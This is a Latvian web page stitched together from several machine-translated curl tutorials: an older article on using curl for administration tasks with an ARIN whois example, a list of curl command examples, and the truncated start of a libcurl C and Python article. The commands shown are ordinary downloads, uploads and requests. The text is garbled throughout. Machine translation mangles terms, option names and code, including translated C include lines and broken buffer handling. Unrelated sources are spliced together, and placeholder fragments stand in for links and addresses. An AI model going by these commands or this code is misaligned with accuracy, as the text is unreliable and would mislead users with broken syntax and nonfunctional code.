Ko dara čokurošanās. curl_setopt — iestata CURL sesijas opciju. Notiek POST datu sūtīšana

2006. gada 16. februāris Džefs Fellings

Curl palīdz pārvaldīt tīmeklī publicētos datus Šajā rakstā ir apskatīts bezmaksas Curl rīks, kas ļauj nosūtīt un saņemt Web lapas no komandrindas. Pateicoties Curl, daudzus ir viegli automatizēt

Curl palīdzēs pārvaldīt tīmeklī publicētos datus

Šajā rakstā ir apskatīts bezmaksas rīks Curl, kas ļauj nosūtīt un saņemt Web lapas no komandrindas. Curl ļauj viegli automatizēt daudzus drošības un administrēšanas uzdevumus, piemēram, Web lapas izņemšanu analīzei vai drošības ielāpa lejupielādi no tīmekļa.

Curl uzstādīšana

Curl ir iekļauts daudzos Unix izplatījumos. Binārie faili un avoti ir pieejami lielākajai daļai citu operētājsistēmu. Pat atvērtā pirmkoda PHP programmētāji var izmantot Curl, lai droši piekļūtu tīmekļa saturam tieši no PHP skriptiem.

Curl ir nepieciešama OpenSSL pakotne, lai tā darbotos ar drošligzdu slāņa (SSL) vietnēm. Ir divas Curl versijas, viena ar SSL un otra bez SSL. Iesaku pirmo, jo SSL droši aizsargā datus.

Lai varētu izmantot Curl ar SSL funkcionalitāti, jums ir jālejupielādē un atsevišķi jāinstalē OpenSSL pakotne no tīmekļa. OpenSSL for Windows bināros failus var lejupielādēt no GnuWin32 SourceForge projekta vietnes vietnē . Šajā vietnē ir arī daudzi citi noderīgi rīki, kas pārnesti uz Windows.

Lejupielādējiet un instalējiet OpenSSL pakotni, pēc tam kopējiet divus DLL failus uz system32 direktoriju:

Kopēt "C:Program FilesGnuWin32 binlibeay32.dll" %windir%system32 kopēt "C:Program FilesGnuWin32 binlibssl32.dll" %windir%system32

Pēc tam jūs varat instalēt Curl. Ar SSL saderīgus Curl bināros failus operētājsistēmai Windows var atrast vietnē http://curl.haxx.se/latest.cgi?curl=win32-ssl-sspi. Jaunākā versija curl 7.15.0 ir failā win32-ssl-sspi.zip, kurā ir fails curl.exe un dokumentācija.

Pēc Curl instalēšanas pārliecinieties, vai tas darbojas, ierakstot komandu

Curl http://isc.sans.org/ infocon.txt

Ja ekrānā parādās vārds, kas apzīmē krāsu (piemēram, zaļš), tad Curl darbojas. Šajā vienkāršajā piemērā Curl izgūst Infocon saturu no SANS institūta Internet Storm Center tīmekļa vietnes. Zaļš nozīmē, ka internets darbojas normāli un nav konstatēti nopietni draudi. Ja zaļā vietā ekrānā parādās vārdi dzeltens, oranžs vai sarkans, nolieciet šo rakstu malā un apmeklējiet vietni http://isc.sans.org lai uzzinātu par augsta riska stāvokļiem internetā. Kļūdas gadījumā jums jāpārbauda, ​​vai Curl ir pareizi instalēts.

Būtībā Curl izgūst Web lapu un pēc tam konsolē izdrukā lapas HTML avotu. Tomēr lietderības iespējas ir plašākas. Curl ir iebūvēta kļūdu pārbaude. Piemēram, komanda

Curl http://noserveršeit

dod Curl kļūdu: (6) Nevarēja atrisināt resursdatoru: noserverhere; saimniekdators nav atrasts. Kļūdu kodus var izmantot skriptos, lai pārbaudītu Web lapas pieejamību vai Web servera reakciju. Piemēram, ja izmantojat Curl, lai katru dienu izgūtu Web lapu, jo īpaši tīmekļa vietnes ikdienas statistiku, varat pievienot avota kodu savam skriptam, kas meklē kļūdu kodus. Ja Curl norāda kļūdas kodu Curl: (7) nevarēja izveidot savienojumu ar resursdatoru, varat nekavējoties nosūtīt brīdinājumu vai nosūtīt e-pastu.

Šifrētu datu iegūšana

Viena no svarīgākajām Curl priekšrocībām ir tās saderība ar SSL. Pieprasītās HTTPS lapas tīklā tiek nosūtītas šifrētas, un pēc tam Curl ekrānā parāda atkopto tekstu. Turklāt Curl pārbauda sertifikātus — sertifikāta derīguma termiņu, resursdatora nosaukums atbilst sertifikāta saimniekdatora nosaukumam un saknes sertifikāta uzticamības līmeni — un brīdina, ja sertifikāts ir nederīgs. Opcija -cacert ļauj norādīt konkrētu sertifikāta failu. Sertifikāta pārbaude ir atspējota ar opciju -k. Alternatīva pieeja ir izmantot opciju -insecure.

Ne tikai WWW

Curl ir vairāk nekā tikai failu sūtīšana internetā. Izmantojot Curl, varat ātri uzskaitīt FTP vietnes direktorijus:

Curl ftp://myftpsite

Lai redzētu vietnes apakšdirektorijus, jums jāievada komanda

Curl ftp://myftpsite/subdir/

Lai lejupielādētu failu no tīkla, vienkārši norādiet faila nosaukumu URL. Šajā piemērā fails ar nosaukumu readme.txt tiek ielādēts tieši no komandrindas un tiek parādīts ekrānā:

Curl ftp://ftp.microsoft.com/deskapps/games/readme.txt

Bieži vien ir vieglāk skriptēt ar Curl, lai ievadītu FTP failus, nekā interaktīvi izmantot FTP komandu.

Pēc noklusējuma izvade tiek ierakstīta tieši konsolē, taču to var novirzīt uz failu, izmantojot opcijas -o un -O. Lai iegūtu lapu un saglabātu to diskā, izmantojiet opciju -o. Opcija -O saglabā iegūto lapu vietējā failā, un Curl izgūst attālā dokumenta nosaukumu. Ja URL nav norādīts faila nosaukums, šī darbība neizdosies. Ja izmantojat Curl, lai nosūtītu vaicājumu uz vietni bez faila nosaukuma, bet vēlaties saglabāt rezultātu failā, varat norādīt faila nosaukumu komandrindā, piemēram:

Autentifikācija

Curl nodrošina pamata, apkopojuma un integrētās autentifikācijas metodes. Lielākajā daļā vietņu uz veidlapām balstītām autentifikācijas lapām var piekļūt, izmantojot Curl iesniegšanas funkcijas, kā tas tiks parādīts tuvākajā laikā. Tas nozīmē, ka varat iesniegt veidlapas datus, piemēram, lietotājvārdu un paroli, attālā tīmekļa vietnē, kas pieprasa informāciju par Web lapu. Varat izmantot opciju -u, lai nosūtītu akreditācijas datus, vai arī varat tos iegult vietrādī URL, kas tradicionāli tiek darīts FTP, piemēram:

Curl ftp://lietotājvārds: [aizsargāts ar e-pastu]

Izmantojot Curl, no FTP aizgūtās metodes var pārsūtīt uz HTTP, kā parādīts šajā piemērā:

Curl http://lietotājvārds:parole @myhtmlsite/default.htm

Curl nodrošina arī piekļuvi tīmekļa lapām, izmantojot starpniekserveri. Tāpēc Curl var konfigurēt, lai izmantotu starpniekserveri pamata, īssavilkuma un NTLM autentifikācijai.

Izlasiet dokumentāciju

Ir grūti vienā rakstā aptvert visas Curl daudzās funkcijas, tostarp failu augšupielādi serverī (-T), tikai HTTP galvenē esošās informācijas skatīšanu (-I), visu datu skatīšanu detalizētā režīmā (-V) un slēptos datus. izvade (-s). Iesaku tuvāk apskatīt Curl funkcijas apmācībā, kas publicēta vietnē http://curl.haxx.se/docs .

Cirtas piemērs

Tagad, kad esat iepazinies ar Curl pamatiem, apskatīsim vienkāršu piemēru datu iegūšanai no vietnes, izmantojot ievades datus. Izveidosim vienkāršu Whois rīku, kas demonstrē Curl lietošanas vienkāršību un ērtumu un to, kā nosūtīt datus uz vietni, izmantojot opciju -d. Šajā piemērā Curl nosūta IP adresi Arin Whois vietnei un pēc tam izgūst rezultātus no šīs vietnes. Whois meklē informāciju par IP adreses īpašnieku.

Pirms darba sākšanas ir svarīgi izpētīt vietni, jo katras vietnes pirmkods ir atšķirīgs, un Curl ne vienmēr darbojas vienādi visās vietnēs. Iepriekšēja vietnes apmeklēšana ļauj savākt nepieciešamo informāciju, lai Curl varētu darboties. Šajā piemērā es izmantoju pārlūkprogrammu, lai apmeklētu vietni http://www.arin.net/whois/, un pamanīju, ka vietnē ir viens datu ievades lauks, kurā apmeklētāji norāda viņus interesējošo IP adresi. Jums ir jāiegūst informācija par šo lauku, kas ir daļa no tīmekļa veidlapas. Šajā piemērā tiek izmantots Perl skripts formfind.pl ( http://cool.haxx.se/cvs.cgi/curl/perl/contrib/formfind?rev=HEAD&content-type=text/vnd.viewcvs-markup). Formfind.pl skripts pārvērš veidlapas datus izmantojamās izvadēs un atvieglo manuālu datu meklēšanu HTML. Protams, lai palaistu Formfind, datorā ir jāizvieto Perl. Labu Win32 Perl pakotni var pasūtīt ActiveState ActivePerl vietnē http://www.activestate.com .

Apskatīsim piemēru sīkāk. Vispirms apskatīsim tīmekļa vietni, kurā ir veidlapa, kurā tiek pieprasīta informācija:

Curl -o whoisOutputFile http://www.arin.net/whois/

Šī komanda izgūst Whois lapu no http://www.arin.net un saglabā to whoisOutputFile teksta failā, kurā ir HTML avots, ko pārlūkprogramma atskaņo, kad vietne tiek apmeklēta.

Pēc tam jums jāatrod un jāizceļ veidlapas dati:

./formfind.pl

Formfind atgriež formu mainīgos un to iespējamās vērtības. Šajā piemērā izvades rezultāti ir diezgan vienkārši (skatiet tālāk). ekrāns 1).

Ievērojiet veidlapas datu ievadi ar nosaukumu queryinput. Šis ir teksta lauks, kurā Curl jānosūta IP adrese, lai to meklētu. Konkrētajai IP adresei nav nozīmes – šajā piemērā tika izmantota Microsoft adrese. Izmantojot opciju -d, meklētā IP adrese tiek nosūtīta uz vaicājuma ievades lauku:

Curl -d "queryinput=207.46.133.140" http://ws.arin.net/cgibin/whois.pl

Komanda Curl ar opciju -d meklē datus formā, šajā gadījumā queryinput, kas ir meklējamā IP adrese. Tas maina mērķa adresi; veidlapai ir jāiesniedz dati uz jaunu URL, kas pārstāv whois.pl skriptu. Jauno mērķa adresi var redzēt formfind izvadē 1. ekrānā.

Šajā piemērā tiek iegūts arī Whois atbildes HTML avota teksts, taču to slēpj HTML tagu grupa. Pēc noklusējuma saritināšanas statusa ziņojums parāda dokumenta izmēru, pabeigtības procentus un pārsūtīšanas ātrumu. Varat nedaudz iztīrīt izvadi un filtrēt tās organizācijas nosaukumu, kurai pieder IP adrese. Curl statusu var atspējot, izmantojot opciju -s. Komanda ir jāpalaiž caur grep, lai iegūtu tikai OrgName:

Curl -s -d "queryinput=207.46.133.140" http://ws.arin.net/cgibin/ whois.pl | grep OrgName

Šajā piemērā izvade parāda, ka OrgName ir Microsoft Corp.

@echo off curl -k -s -d "queryinput= %1" http://ws.arin.net/cgibin/ whois.pl | grep OrgName



CURL ir programmatūras pakotne, kas sastāv no komandrindas utilīta un bibliotēkas datu pārsūtīšanai, izmantojot URL sintaksi.

CURL atbalsta daudzus protokolus, tostarp DICT, FILE, FTP, FTPS, Gopher, HTTP, HTTPS, IMAP, IMAPS, LDAP, LDAPS, POP3, POP3S, RTMP, RTSP, SCP, SFTP, SMTP, SMTPS, Telnet un TFTP.

Augšupielādējiet vienu failu
Šī komanda iegūs URL saturu un parādīs to standarta izvadē (t.i., jūsu terminālī).

Curl https://mi-al.ru/ > mi-al.htm % Kopējais saņemtais % % Xferd Vidējais ātrums Laiks Laiks Pašreizējā lejupielāde Augšupielāde Kopējais iztērētais kreisais ātrums 100 14378 0 14378 0 0 5387 0 --: --:- - 0:00:02 --:--:-- 5387

Notiek cURL izvades saglabāšana failā
Mēs varam saglabāt komandas curl rezultātu failā, izmantojot opcijas -o/-O.
  • -o(o mazie burti) rezultāts tiks saglabāts komandrindā norādītajā failā
  • -O(Lielais burts O) Faila nosaukums tiks ņemts no URL un tiks izmantots izgūto datu glabāšanai.

$ curl -o mygettext.html http://www.gnu.org/software/gettext/manual/gettext.html

Lapa gettext.html tagad tiks saglabāta failā ar nosaukumu "mygettext.html". Kad curl tiek palaists ar opciju -o, tiek parādīta šāda lejupielādes norises josla.

% Kopā % Saņemtie % Xferd Vidējais ātrums Laiks Laiks Pašreizējā lejupielāde Augšupielāde Kopējais iztērētais atlikušais ātrums 66 1215k 66 805k 0 0 33060 0 0:00:37 0:00:24 0:00:13 45900 100 1000 100 100 0 0 39474 0 0:00:31 0:00:31 --:--:-- 68987

Ja izmantojat curl -O (lielos burtus O), tas pats par sevi saglabās saturu failā ar nosaukumu "gettext.html" vietējā datorā.

$ curl -O http://www.gnu.org/software/gettext/manual/gettext.html

Piezīme. Kad curl ir jāraksta dati terminālī, tā izslēdz norises joslu, lai drukātajos datos nebūtu neskaidrību. Mēs varam izmantot opcijas '>'|'-o'|'-O', lai rezultātus nodotu failam.

Vairāku failu atlase vienlaikus
Mēs varam lejupielādēt vairākus failus vienlaikus, komandrindā norādot visus URL.

Curl -O URL1 -O URL2

Tālāk sniegtā komanda lejupielādēs gan index.html, gan gettext.html un saglabās tos ar tādiem pašiem nosaukumiem pašreizējā direktorijā.

Curl -O http://www.gnu.org/software/gettext/manual/html_node/index.html -O http://www.gnu.org/software/gettext/manual/gettext.html

Lūdzu, ņemiet vērā, ka, lejupielādējot vairākus failus no viena servera, kā parādīts iepriekš, curl mēģinās atkārtoti izmantot savienojumu.

Sekojiet HTTP atrašanās vietai galvenēs ar opciju -L
Pēc noklusējuma CURL galvenēs (novirzīšanas) neseko HTTP atrašanās vietai. Kad pieprasītā tīmekļa lapa tiek pārvietota uz citu vietu, HTTP atrašanās vietas galvenēs tiks nosūtīta atbilstošā atbilde.
Piemēram, kad kāds pārlūkprogrammas joslā ieraksta google.com no savas valsts, viņš tiks automātiski novirzīts uz google.co.xx. Tas tiek darīts, pamatojoties uz HTTP atrašanās vietas galveni, kā parādīts tālāk.

Izvelciet https://www.google.com/?gws_rd=ssl

302 Pārvietots

302 Pārvietots

Dokuments ir pārvietots uz šejieni.

Iepriekš redzamajā izvadē teikts, ka pieprasītais dokuments ir pārvietots uz "

Slēpts no viesiem

.
Varat norādīt curl sekot novirzīšanai. Tas tiek darīts, izmantojot opciju -L, kā parādīts tālāk. Tagad html avota kods tiks ielādēts no

Slēpts no viesiem

.

Curl -L https://www.google.com/?gws_rd=ssl

Tiek atsākta iepriekšējā lejupielāde

Izmantojot opciju -C, varat turpināt lejupielādi, kas kāda iemesla dēļ tika apturēta. Tas būs noderīgi, ja neizdodas lejupielādēt lielus failus.
Ja sakām “-C -”, tad curl meklēs, kur atsākt lejupielādi. Mēs varam arī norādīt “-C<смещение>'. Norādītā baitu nobīde tiks izlaista no avota faila sākuma.
Sāciet lielu lejupielādi ar curl un nospiediet Ctrl-C, lai apturētu lejupielādi.

$ curl -O http://www.gnu.org/software/gettext/manual/gettext.html ############### 20,1%

Lejupielāde tika apturēta pie 20,1%. Izmantojot “curl -C -”, mēs varam turpināt lejupielādi no vietas, kur pārtraucām. Tagad lejupielāde turpināsies par 20,1%.

Curl -C - -O http://www.gnu.org/software/gettext/manual/gettext.html ################ 21,1%

Datu ātruma ierobežojums
Varat ierobežot datu pārraides ātruma apjomu, izmantojot opciju --limit-rate. Kā argumentu varat izturēt maksimālo ātrumu.

$ curl -- limit-rate 1000B -O http://www.gnu.org/software/gettext/manual/gettext.html

Iepriekš minētā komanda ierobežos pārsūtīšanas ātrumu līdz 1000 baitiem sekundē. čokurošanās var izmantot lielāku ātrumu pīķos. Bet vidējais ātrums būs aptuveni 1000 baiti sekundē.
Iepriekš minētās komandas progresa josla ir parādīta zemāk. Var redzēt, ka pašreizējais ātrums ir aptuveni 1000 baiti.

% Kopā % Saņemtie % Xferd Vidējais ātrums Laiks Laiks Pašreizējā lejupielāde Augšupielāde Kopējais iztērētais atlikušais ātrums 1 1215k 1 13601 0 0 957 0 0:21:40 0:00:14 0:21:26 999 1 11415k0 1 0 0 960 0 0:21:36 0:00:15 0:21:21 999 1 1215k 1 15601 0 0 962 0 0:21:34 0:00:16 0:21:18 999

Augšupielādējiet failu tikai tad, ja tas tika mainīts pirms/pēc norādītā laika
Varat iegūt failus, kas ir modificēti pēc noteikta laika, izmantojot curl opciju -z. Tas darbosies gan FTP, gan HTTP.

Iepriekš minētā komanda ielādēs yy.html tikai tad, ja tā tika modificēta vēlāk par norādīto datumu un laiku.

Iepriekš minētā komanda lejupielādēs failu file.html, ja tas ir mainīts pirms noteiktā datuma un laika. Ierakstiet "man curl_getdate", lai uzzinātu vairāk par dažādām atbalstītajām datuma izteiksmju sintaksēm.

HTTP autentifikācijas nodošana cURL
Dažreiz vietnēm ir nepieciešams lietotājvārds un parole, lai skatītu to saturu. Izmantojot opciju -u, varat nodot šos akreditācijas datus no cURL tīmekļa serverim, kā parādīts tālāk.

$ curl -u lietotājvārds:parole URL

Piezīme. Pēc noklusējuma curl izmanto HTTP pamata autentifikāciju. Mēs varam iestatīt citas autentifikācijas metodes, izmantojot –ntlm | - sagremot.


cURL var izmantot arī, lai lejupielādētu failus no FTP serveriem. Ja norādītais FTP ceļš ir direktorijs, pēc noklusējuma tiks parādīts tajā esošo failu saraksts.

$ curl -u ftpuser:ftppass -O ftp://ftp_server/public_html/xss.php

Iepriekš minētā komanda lejupielādēs xss.php failu no ftp servera un saglabās to vietējā direktorijā.

$ curl -u ftpuser:ftppass -O ftp://ftp_server/public_html/

Šeit URL attiecas uz direktoriju. Tāpēc cURL izveidos failu un direktoriju sarakstu norādītajā URL.


CURL atbalsta URL diapazonus. Kad diapazons ir norādīts, tiks ielādēti attiecīgie faili šajā diapazonā. Tas būs noderīgi, lejupielādējot pakotnes no FTP spoguļa vietnēm.

$ curl ftp://ftp.uk.debian.org/debian/pool/main//

Iepriekš esošā komanda terminālī uzskaitīs visas paketes diapazonā a-z.

Failu augšupielāde FTP serverī
Curl var izmantot arī augšupielādei FTP serverī ar opciju -T.

$ curl -u ftpuser:ftppass -T myfile.txt ftp://ftp.testserver.com

Iepriekš minētā komanda augšupielādēs failu ar nosaukumu myfile.txt FTP serverī. Varat arī augšupielādēt vairākus failus vienlaikus, izmantojot diapazonus.

$ curl -u ftpuser:ftppass -T "(fails1,fails2)" ftp://ftp.testserver.com

Pēc izvēles mēs varam izmantot "." lai iegūtu no standarta ievades un nodotu to attālajai mašīnai.

$ curl -u ftpuser:ftppass -T - ftp://ftp.testserver.com/myfile_1.txt

Iepriekš minētā komanda paņems lietotāja izvadi no standarta ievades un saglabās saturu ftp serverī ar nosaukumu "mans fails_1.txt".
Katram URL varat norādīt “-T”, un katrs URL faila pāris noteiks, ko un kur augšupielādēt

Plašāka informācija ar palielinātu detalizētību un izsekošanas iespēju
Jūs varat uzzināt, kas notiek, izmantojot opciju -v. Opcija -v ieslēdz detalizētu režīmu un izdrukā informāciju.

Curl -v https://www.google.co.th/?gws_rd=ssl

Iepriekš minētā komanda izvadīs sekojošo

* Pārbūvēts URL uz: https://www.google.co.th/?gws_rd=ssl * Resursdatora nosaukums NEtika atrasts DNS kešatmiņā * Mēģina 27.123.17.49... * Savienots ar www.google.co.th (27.123. 17.49) 80. ports (#0) > GET/HTTP/1.1 > Lietotāja aģents: curl/7.38.0 > Saimniekdators: www.google.co.th > Pieņemt: */* >< HTTP/1.1 200 OK < Date: Fri, 14 Aug 2015 23:07:20 GMT < Expires: -1 < Cache-Control: private, max-age=0 < Content-Type: text/html; charset=windows-874 < P3P: CP="This is not a P3P policy! See https://support.google.com/accounts/answer/151657?hl=en for more info." * Server gws is not blacklisted < Server: gws < X-XSS-Protection: 1; mode=block < X-Frame-Options: SAMEORIGIN < Set-Cookie: PREF=ID=1111111111111111:FF=0:TM=1439593640:LM=1439593640:V=1:S=FfuoPPpKbyzTdJ6T; expires=Sun, 13-Aug-2017 23:07:20 GMT; path=/; domain=.google.co.th ... ... ...

Ja jums nepieciešama sīkāka informācija, varat izmantot opciju --trace. Opcija --trace ļaus pilnībā izsekot visus ienākošos/izejošos datus konkrētajam failam
curl dict://dict.org/d:girl:fd-eng-rus 220 pan.alephnull.com dictd 1.12.1/rf operētājsistēmā Linux 3.14-1-amd64 <[aizsargāts ar e-pastu]> 250 ok 150 1 izgūtas definīcijas 151 "girl" fd-eng-rus "Angļu-krievu FreeDict Dictionary ver. 0.3" girl /gəːl/ girl. 250 ok 221 čau

Plašāku informāciju par DICT var atrast, lasot

Slēpts no viesiem

.

Izmantojot starpniekserveri, lai lejupielādētu failu
Mēs varam likt cURL izmantot starpniekserveri noteiktām darbībām, tas tiek darīts ar opciju -x. Mums ir jāiestata starpniekservera resursdators un ports.

$ curl -x proxysever.test.com:3128 https://www.google.co.in/?gws_rd=ssl

E-pasta sūtīšana, izmantojot SMTP protokolu
cURL var izmantot arī e-pasta sūtīšanai, izmantojot SMTP. Jums jānorāda adrese, no kura, adrese, kam un pasta servera IP adrese, kā parādīts zemāk.

$ curl -- pasts-no [aizsargāts ar e-pastu]--mail-rcpt [aizsargāts ar e-pastu] smtp://mailserver.com

Kad komanda ir ievadīta, tiks sākta gaidīšana, līdz lietotājs ievadīs datus vēstulei. Kad esat pabeidzis rakstīt ziņojumu, ierakstiet. (punkts) kā pēdējā rindiņa, un e-pasts tiks nosūtīts nekavējoties.

Temats: Testēšana Šis ir testa pasts .



Izmantojot libcurl ar C un Python

Izstrādāt lietojumprogrammas, kas balstās uz lietojumprogrammu slāņa protokoliem, piemēram, HTTP un FTP, nav ļoti grūti, taču arī tas nav triviāli. Turklāt šāda attīstība nav uzmanības centrā, jo vairumā gadījumu tas, kas atrodas virs šiem protokoliem, ir daudz svarīgāks. Libcurl ir interesants ar to, ka tas koncentrējas uz lietojumprogrammu, nevis uz pārejošo attīstības aspektu. Ņemiet vērā, ka ne daudzām lietojumprogrammām ir savs TCP/IP steks, jo visa iespējamā atkārtota izmantošana samazina programmētāja slodzi un palielina lietojumprogrammas uzticamību.

Šis raksts sākas ar īsu ievadu lietojumprogrammu slāņa protokolos un pēc tam pāriet uz informāciju par cURL, libcurl un to lietošanu.

Tīmekļa protokoli

Mūsdienu lietojumprogrammu izstrāde būtiski atšķiras no nesenās pagātnes. Mūsdienās lietojumprogrammām ir jāsazinās tīklā vai internetā, pakļaujot lietotājus tīkla API vai interfeisam, un jānodrošina elastība, izmantojot pielāgotu skriptu. Parasti modernās lietojumprogrammas eksportē tīmekļa saskarni, izmantojot HTTP, un sūta paziņojumus par izņēmumiem, izmantojot vienkāršo pasta transportēšanas protokolu (SMTP). Šie protokoli ļauj tīmekļa pārlūkprogrammai, kas darbojas ierīcē, nosūtīt konfigurāciju vai statusu un saņemt standarta ziņojumus no ierīcēm uz standarta e-pasta klientu (attiecīgi izmantojot HTTP un SMTP).

Šie tīmekļa pakalpojumi parasti tiek veidoti uz tīkla protokolu steka ligzdas slāņa (1. attēls). Socket slānis ievieš API, kas atgriežas Berkeley Software Distribution (BSD) operētājsistēmā un izolē informāciju par pamatā esošajiem transporta un tīkla slāņa protokoliem.

1. attēls. Tīkla protokolu steks un libcurl

Tīmekļa pakalpojumi nodrošina saziņu starp klienta un servera protokoliem. HTTP kontekstā serveris ir gala ierīce, un klients ir pārlūkprogramma attālajā vietā. SMTP gadījumā serveris ir pasta vārteja vai attālais lietotājs, un klients ir gala ierīce. Dažos gadījumos protokola mijiedarbība notiek divos posmos (pieprasījums un atbilde), savukārt citos saziņas uzturēšanai ir nepieciešams daudz vairāk trafika. Šī mijiedarbība var radīt ievērojamas grūtības, kas tiek pārvarētas ar API, piemēram, libcurl.

Ievads cURL

cURL izcelsme un saturs

cURL ierosināja Daniels Stenbergs, taču izstrādē piedalījās vairāk nekā 600 programmētāju. Neapšaubāmi, šī ir noderīga tehnoloģija ar plašu pielietojumu klāstu.

cURL sākotnēji tika izstrādāts kā līdzeklis failu pārvietošanai starp galapunktiem, izmantojot dažādus protokolus, piemēram, FTP, HTTP, SCP un citus. Sākumā tā bija komandrindas utilīta, bet tagad tā ir arī bibliotēka ar saitēm vairāk nekā 30 valodām. Tagad tā vietā, lai izmantotu cURL no komandrindas, varat izveidot lietojumprogrammas, kas ietver šīs svarīgās funkcijas. Libcurl bibliotēka ir arī pārnēsājama un atbalsta Linux®, IBM® AIX®, BSD, Solaris un daudzus citus UNIX® variantus.

cURL/libcurl iegūšana un instalēšana

Libcurl iegūšana un instalēšana ir vienkārša, taču process ir atkarīgs no Linux izplatīšanas. Ubuntu šīs pakotnes var instalēt, izmantojot utilītu apt-get. Nākamās divas rindas parāda, kā instalēt libcurl un Python saistījumus libcurl:

$ sudo apt-get instalēt libcurl3 $ sudo apt-get instalēt python-pycurl

Utilīta apt-get nodrošina, ka instalēšanas procesā tiek ievērotas visas atkarības.

cURL komandrindā

cURL sākās kā komandrindas rīks datu pārsūtīšanai, izmantojot Uniform Resource Locator (URL) sintaksi. Tā kā šis līdzeklis ir populārs komandrindas formā, tika izveidota bibliotēka, lai to integrētu lietojumprogrammās. Mūsdienās cURL komandrindai kalpo kā cURL bibliotēkas iesaiņojums. Šis raksts sākas, uzzinot par cURL komandrindā, un pēc tam pāriet uz tā izmantošanu kā bibliotēku.

Divi tipiski cURL lietojumi ir failu pārsūtīšana, izmantojot HTTP un FTP protokolus. cURL nodrošina vienkāršu saskarni šiem un citiem protokoliem. Lai izgūtu failu no vietnes, izmantojot HTTP, viss, kas jums jādara, ir jānorāda cURL lokālā faila nosaukums, kurā vēlaties ierakstīt Web lapu, kā arī vietnes URL un augšupielādējamā faila URL. Pārāk daudz vārdu vienkāršajai komandrindai, kas parādīta 1. sarakstā.

Saraksts 1. Piemērs cURL izmantošanai faila izgūšanai no vietnes
$ curl -o test html www.exampledomain.com % Kopā % Saņemtie % Xferd Vidējais ātrums Laiks Laiks Pašreizējā lejupielāde Augšupielāde Kopējais iztērētais kreisais ātrums 100 43320 100 43320 0 0 55831 0 --:--:--- -:-- :-- --:--:-- 89299 ASV dolāri

Ņemiet vērā, ka esmu norādījis domēnu, nevis failu, tāpēc es saņemšu saknes failu (index.html). Lai augšupielādētu šo failu FTP vietnē, izmantojot cURL, norādiet augšupielādējamo failu ar opciju -T un pēc tam ievadiet FTP vietnes URL un faila ceļu (2. saraksts).

2. saraksts. Piemērs cURL izmantošanai, lai augšupielādētu failu FTP vietnē
$ curl -T test.html ftp://lietotājs: [aizsargāts ar e-pastu]/ftpdir/ % Kopējais saņemtais % % Xferd Vidējais ātrums Laiks Laiks Pašreizējā lejupielāde Augšupielāde Kopējais iztērētais atlicis ātrums 100 43320 0 0 100 43320 0 38946 0:00:01 0:00:01 --:--:- - 124 tūkstoši dolāru

Vai tas ir vieglāk? Pietiek apgūt dažus vienkāršus modeļus, un cURL būs ļoti viegli lietojams. Taču pieejamo opciju klāsts ir ļoti liels – pieprasot palīdzību no cURL komandrindas (--help), tiek izdrukātas 129 rindas. Liels skaits opciju ļauj kontrolēt visu, sākot no daudzpusības līdz drošībai un dažādiem protokolam raksturīgiem pielāgojamiem elementiem.

No izstrādātāja viedokļa tas nav patīkamākais cURL aspekts. Iedziļināsimies cURL bibliotēkā un redzēsim, kā lietojumprogrammai pievienot šos failu pārsūtīšanas protokolus.

cURL kā bibliotēka

Ja pēdējo 10 gadu laikā esat skatījies skriptu valodas, esat pamanījis skaidras izmaiņas to sastāvā. Skriptu valodas, piemēram, Python, Ruby, Perl un daudzas citas, ietver ne tikai ligzdas slāni, piemēram, C vai C++, bet arī lietojumprogrammu slāņa protokolu saskarnes. Šīs skriptu valodas satur augsta līmeņa funkcijas, kas, piemēram, HTTP servera vai klienta izveidi padara nenozīmīgu. Libcurl bibliotēka pievieno funkcionalitāti, kas ir līdzīga valodām, piemēram, C un C++, taču tādā veidā, kas var darboties ar daudzām valodām. Libcurl darbojas aptuveni vienādi visās atbalstītajās valodās, lai gan, tā kā šīs valodas var ļoti atšķirties (C un shēma), var atšķirties arī veids, kā šī darbība tiek īstenota.

Libcurl bibliotēkā ir iekļautas funkcijas, kas ir ilustrētas sarakstos un API veidā, tāpēc to var izmantot augsta līmeņa valodās (šodien vairāk nekā 30). Šajā rakstā ir sniegti divi libcurl izmantošanas piemēri. Pirmajā tiek pētīts vienkāršs HTTP klients C valodā (piemērots tīmekļa zirnekļu veidošanai), bet otrais ir vienkāršs HTTP klients programmā Python.

HTTP klients C valodā

C API papildus libcurl funkcionalitātei nodrošina divas API. Vienkāršs interfeiss ir vienkārša sinhronā API (t.i., kad libcurl veic pieprasījumu, tas izpilda to līdz beigām vai līdz kļūdas ziņojumam). Daudzinterfeiss nodrošina kontroli pār libcurl, ļaujot lietojumprogrammai veikt vairākas vienlaicīgas pārsūtīšanas un kontrolēt, kur un kad libcurl pārsūta datus.

Šajā piemērā tiek izmantots vienkāršs interfeiss. Šī API nodrošina zināmu kontroli pār datu pārvietošanas procesu (izmantojot atzvanīšanu), taču tā atbilst savam nosaukumam. 3. sarakstā ir parādīts HTTP C piemērs.

Uzskaitījums 3. HTTP klients C, izmantojot vienkāršu libcurl interfeisu
#iekļauts #iekļauts #iekļauts #define MAX_BUF 65536 char wr_buf; int wr_index; /* * Rakstīt datu atzvanīšanas funkciju (tiek izsaukta * curl_easy_perform kontekstā. */ size_t write_data(void *buffer, size_t size, size_t nmemb, void *userp) ( int segsize = izmērs * nmemb; /* Pārbaudiet, vai dati pārsniedz mūsu bufera lielumu.Ja tā, * iestatiet lietotāja definētu konteksta vērtību un atgrieziet 0, lai norādītu uz * saritināšanas problēmu.*/ if (wr_index + segsize > MAX_BUF) ( *(int *)userp = 1; return 0; ) /* Kopējiet datus no curl bufera mūsu buferī */ memcpy((void *)&wr_buf, buffer, (size_t)segsize); /* Atjauniniet rakstīšanas indeksu */ wr_index += segsize; /* Null beigt buferi */ wr_buf = 0; /* Atgriezt saņemto baitu skaitu, norādot, ka viss ir kārtībā */ return segsize; ) /* * Vienkārša lokošanas lietojumprogramma, lai lasītu index.html failu no vietnes.* / int main(void) ( CURL *curl; CURLcode ret; int wr_error; wr_error = 0; wr_index = 0; /* Pirmais solis, init curl */ curl = curl_easy_init(); if (!curl) ( printf ("couldn" "t init curl\n"); atgriezties 0; ) /* Pastāstiet curl faila URL, ko mēs gatavojamies izgūt */ curl_easy_setopt(curl, CURLOPT_URL, "www.exampledomain.com"); /* Pastāstiet curl, ka mēs saņemsim datus funkcijai write_data, un * arī nodrošiniet to ar konteksta rādītāju mūsu kļūdu atgriešanai. */ curl_easy_setopt(curl, CURLOPT_WRITEDATA, (void *)&wr_error); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_data); /* Atļaut curl veikt darbību */ ret = curl_easy_perform(curl); printf("ret = %d (write_error = %d)\n", ret, wr_error); /* Emit the page if curl norāda, ka nav radušās kļūdas */ if 